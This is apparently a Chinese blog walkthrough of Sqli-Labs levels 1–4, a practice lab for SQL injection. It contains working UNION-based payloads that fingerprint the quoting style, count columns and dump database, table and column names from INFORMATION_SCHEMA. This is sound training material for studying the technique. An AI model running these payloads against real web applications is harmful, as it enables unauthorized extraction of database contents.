Sqli-Labs闯关——更新中

Sqli-Labs闯关

Less-1

正常访问:
在这里插入图片描述
一、判断

1 and 1=2 //访问正常,不是数值查询
1' //报错,可能为sql字符注入
1' --+//返回正常,所以为单引号字符注入  

注:
1、我使用的是 --+来注释sql后面的语句,+的作用是,它在解析的时候会被解析为空格,用来隔开 --与后面语句。
2、#注释也是可行的,但在浏览器的url中,他是被用来指导浏览器动作的,所以http请求并不包含它,只要将它转换为url编码%23.
3、 --’也可以

二、查询
1、查询列数
找一个临界值,这道题3正常,4错误,所以3就是那个临界值,说明这个表就是3列。

1'order by 3 --+

2、联合查询
找一个不存在的页面,查看是否有显示位,如图有2、3两个显示位。(因为mysql_fetch_array();这个函数,只会取出一行,如果要把所有结果取出来要用循环来取了在这儿我们只需要让union select前面的查询结果为空集,则后面的自然就成了第一行了,怎样让前面的成空集呢,只需要将id改为表里没有的,或者不合法的额就行)

999' union select 1,2,3 --+

在这里插入图片描述
2.1、查询库名
group_concat:显示所有内容并且相同内容只显示一次。

999' union select 1,(select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA),3 --+

在这里插入图片描述
2.2、查询表名

999' union select 1,2,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE())) --+

在这里插入图片描述
2.3查找字段

999' union select 1,2,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNs where TABLE_NAME='emails') --+

注: union官方解释是用来把多个select语句的结果组合到一个结果集合中,且每列的数据类型必须相同。
group_concat也可以用limt替换。例如:999’ union select 1,2,(select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE()) limit 0,1) --+

Less-2

和第一题几乎一样,只是没有了’的闭合

1 order by 3
999 union select 1,2,3
999 union select 1,(select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA),3
999 union select 1,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES),3
999 union select 1,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where  TABLE_SCHEMA=(select database())),3

Less-3

加’尝试,发现报错,查看报错语句’1’),所以猜测后台的查询语句为(’$id’)。
在这里插入图片描述
构造payload

1') order by 3 --+
999') union select 1,2,3 --+
999') union select 1,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA =(select DATABASE())),3 --+

Less-4

在参数加双引号报错,根据报错信息构造(") --+)
构造payload

") order by 3 --+
") union select 1,2,3 --+
") union select 1,(select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA),3 --+
") union select 1,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES),3 --+
") union select 1,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = (select DATABASE())),3 --+
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值